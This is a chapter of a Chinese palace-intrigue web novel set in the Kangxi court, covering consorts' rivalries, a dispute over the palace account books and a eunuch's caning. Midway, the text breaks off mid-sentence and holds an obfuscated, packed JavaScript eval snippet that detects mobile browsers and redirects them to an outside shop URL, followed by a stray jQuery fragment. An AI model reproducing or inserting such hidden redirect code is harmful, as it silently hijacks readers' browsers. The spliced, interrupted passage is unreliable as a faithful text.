皇宫就是一个正在使劲加柴火的大火炉,不仅启祥宫里热得不行,其他宫里也是。
就如东边的景阳宫里,安嫔热得脑子发昏,她心烦意乱地坐在上头长椅上,看着下头玩得正高兴的胤禶。
那拉贵人牵着他两只小手,正围着圆凳绕着圈学走路,这幅场景本是自己意料之内的事,安嫔这会儿却越看越不得劲,她有些气闷,劈手夺过扇子“呼呼”地扇了两下。
声音有些大,那拉氏似乎感觉到了什么,她弯着腰朝安嫔笑了笑,“安嫔姐姐你瞧,阿哥会走路了呢,”
说着她慢慢松开手,胤禶顿了一下,然后张开双手确实摇摇晃晃地往前走去。
安嫔“呀”了一声,“唰”地合拢纸扇,“哟,快,派人去乾清宫请皇上过来瞧瞧,咱们的胤禶会走路了,快。”然后瞟了一眼那拉氏。
那拉氏立刻蹲下道:“安嫔姐姐,妹妹屋里还有些绣活没做完,就先告退了。”
“嗯,行吧,有事你就先去忙着吧,这里有我看着。”
站在景阳宫宫门口,那拉氏苦笑一声,安嫔也是胤禶的额涅,这也不知道当初挣那一口气是为了什么?
“贵人,阿哥在景阳宫,咱们也离得近,随时可以过来看的。”绿蝉扶着她的手臂,也轻轻叹了一口气。
巷道里没人,两人便沿着墙角阴凉处边走边说,离得近又怎么样?
德嫔这些天可是对自己愈发看不顺眼了,每日去请安时,明里暗里的说自己没有规矩。
说是后宫里头哪有三天两头跑出去的?若是皇上过来没见着人那可不好了。
但是皇上来永和宫时,德嫔怎会让自己出来见礼呢?
那拉氏心头酸涩极了,皇上时时有新人,自己却只有一个阿哥了那是自己的阿哥啊!
她最怕是不久的将来,自己来景阳宫的时间会越来越少了。
“怎么会呢?安嫔娘娘看不上德嫔娘娘,老是出言讽刺她。”
绿蝉捂着手背小声说道:“德嫔娘娘可是和安嫔娘娘有过节的,她怎么会看着安嫔娘娘自己守着胤禶阿哥呢?您想想贵妃娘娘和四阿哥。”
原本慌乱的心定了下来,那拉氏握住绿蝉的手,静默了片刻后点点头,“你说得对。”
绿蝉回握住那拉氏的手,肯定地点点头。
承乾宫里,贵妃身上搭了一条薄毯,躺在美人榻上闭着眼睛歇晌,却被外间的说话声给吵醒。
她拧眉朝外头喊了一声,帘子掀开,佟佳嬷嬷走了进来,她面含怒气,“主子,是慈宁宫里来人了。”
“干什么?”贵妃没抬头,手撑着头朝里侧躺在榻上,闭着眼睛没好气地问道。
“太皇太后说是您这边宫务繁忙,要让您将手头的账本交一部分过去永寿宫。”
“砰!”榻上的沉香木枕枕被人狠狠地扔在了地上,发出一声闷响。
贵妃脸色发青,一双眼睛盯得佟佳嬷嬷有些发憷,她弓着腰咽了咽口水,“太皇太后身边的苏麻喇喇过来了,正候在外间呢。”
贵妃低着头站在榻边,佟佳嬷嬷有些看不清她的脸色,她不敢再言,只能盼望着主子尽快拿主意,脑海里想起苏麻喇喇一副冷着脸不可反驳的语气,她心里便惴惴不安。
过了几息,贵妃掀开眼皮,一脸平静,淡淡地说了一句,“告诉永寿宫,若是想要账本,就自己来承乾宫里寻我要。”
上午还有些燥热的天儿,下午便乌云密布,地上刮起尘来,只道是山雨欲来。
下午下了一场大雨,夜里就有些凉意,穗珠用了晚膳后就在院子里走了走,看着时辰便进了内室准备歇下了。
刚把那件银白色的葛纱齐胸里衣穿上,外头就响起了请安的声音。
眼见已经能从窗户外看见皇上的身影了,穗珠不知怎么的,心里又慌又乱,也没想起要去外头候着。
康熙正奇怪呢,这人去哪儿了,站在门外的脚下一顿,问道:“你们主子呢?”
麦苗跪在门口赶紧应道:“回皇上的话,主子刚准备要歇着了,这会儿正在内室里。”
康熙听完就叫人都候在外头,独自进了内室。
刚一进去就看见戴佳嫔正慌慌张张地系着腰间的带子,康熙没有打断她,顺手带上了门,屋里顿时只有两人沉沉的呼吸声。
他也不说话,就站在两步远的距离负手仔细看她。
穗珠被他瞧了个脸红,那带子怎么也系不上,她索性放弃了挣扎,就这样穿着吧。
眼前却浮现出刘答应的笑脸。
那目光紧紧地粘在她身上,穗珠手脚都不知道该往哪里放了,脚刚一动,脚上的软底鞋因为慌乱中没穿好,这一下就掉了,她只好光脚踩在地毯上。
烛光摇曳,屋内的呼吸声渐渐加重。
眼前人不知是恼还是羞。
见她瞪了自己一眼,似怒非怒,眼角都红了,康熙才笑出声来:“我不能看?”
他站在她跟前,声音有些嘶哑,嘴里的热气喷在穗珠露在外头的脖颈处,烫得她抓紧了他的手。
掌心被那皙白的手指不停地摩挲着,听着“啪”的一声,烛火也随之熄灭。
翌日便是初五,今日要去慈宁宫给太皇太后和太后请安,穗珠本每日早间起床总是喜欢磨磨蹭蹭,所以起床的时间往前又调了半刻钟。
今日她躺在床上又眠了一会儿才坐起来,正想着是不是要告假呢,承乾宫和慈宁宫的宫人便敲开了启祥宫的大门。
得了,贵妃娘娘和太皇太后道是身子不适,后宫众人都不用去请安了。
慈宁宫内,太皇太后用了清凉丸,又叫太医来看了看,道是气怒攻心,一时犯了头晕、呕吐。
太医是一位一直专门给太皇太后和太后候脉的老太医,他叹了叹气,太皇太后的脸色看着也暗沉蜡黄,时常腹胀,胃里不消化。
“太皇太后,老臣倚老卖老说一句,气急伤肝吶。”
太后今儿一大早洗了把脸就急急慌慌地跑了过来,往日乐呵呵的脸上如今涨得通红,眼中露出一抹恼意。
再听了太医的话,她站在一旁怒目而视,“这贵妃也不是小孩子了,怎还如此不懂事!”
太皇太后咳了两声然后冷笑道:“她哪里是不懂事,她是在和我打擂台吶!”
贵妃只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567185|204800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是贵妃,手里只有账册,没有凤印。
太皇太后咽了一口茶,她好好说话时,贵妃上回作妖换画像,这次连账本也不肯给,那她就只有请凤印出来了。
她老了,但是答应孝昭皇后的事儿她还没忘,钮祜禄氏接手部分宫务,影响不到前朝和皇帝。
穗珠身上没劲,趁着早间还不太热,她又躺了回去想着再眯一会儿。
这一眯,就直接睡到了酉时,刚睁开眼,马得宝就候在外头了。
他看着着实有些憔悴,头发也没剃,眼里布满了红血丝,一看见穗珠就立刻跪在地上,沙哑着嗓子,“主子,奴才违反了宫规,回来得晚了。”
穗珠没有急着说话,她看了一眼马得宝身后跟着的两个生面孔。
“戴佳嫔娘娘,奴才们乃是敬事房的值班太监,马得宝告假后未在规定时间内回宫,擅离职守,奴才们是来领他回敬事房执杖刑的。”其中一个长脸太监跪礼说道。
“要执几杖?”
“回戴佳嫔娘娘的话,臀杖十下。”
说是臀杖,其实连着大腿也一起惩罚,痛也是钻心的痛。
穗珠又看了一眼马得宝,他眼神空洞无神,像是没听见杖刑似的,双手无力地垂在地上。
“嗯,知道了。”穗珠看了眼眼圈泛红的麦芽,她叹了口气,“你跟着过去吧。”
“是,主子。”
“去叫上李福,再带几个小太监,和你一起去。”待人走后,麦苗又带了几个荷包,翻了一瓶止血消肿的创伤药出来给急得没了主意的麦芽,这马公公可是要受一番苦刑了。
两人踮脚出去后,穗珠又躺在榻上眯了一会儿,又去稍间的书架子上摸了一本《本草纲目》出来,这是上次皇上收走了她的话本子,又送了一箱子他选的书过来。
穗珠拿起来随意地翻了翻又放下,一时坐立不安的,她还是没有想象中的心狠。
这马得宝不哭不闹的,荣景堂的大夫是那么好请的吗?
也不动动脑子好好想想,平日里看着精明,一遇到事就慌了神。
穗珠坐在太师椅上烦躁地甩了甩帕子。
又叫秋雨去膳房提了一碗甜汤和一碟子腌黄瓜来,那甜汤是用雪花梨、银耳、冰糖一起炖的,腌黄瓜用的四川辣子,吃起酸辣爽口。
穗珠就着腌黄瓜喝了一碗甜汤,吃的干干净净,新雨伺候在身旁,看得口齿发酸。
“主子,少用些吧。”
“无事,这样吃起才好。”穗珠心满意足地漱了漱口。
这时门帘被掀开,新雨走了进来,“主子,宜嫔娘娘和郭络罗贵人来了。”
宜嫔和郭络罗贵人?穗珠擦干手上的水份,放下帕子蹙眉道:“有说什么吗?”
“没有呢,不过看着脸色挺好的,两人都喜气洋洋的样子。”
新雨仔细回忆了一下,宜嫔娘娘穿着海棠红的宫装,头上还戴着一只开得正艳的蔷薇花呢,看着真是明艳。
穗珠想起上次宜嫔提醒自己的话,想了想还是说道:“请进来吧,再去烧壶茶来,就用前几日做好的茉莉香片来。”
“是,主子。”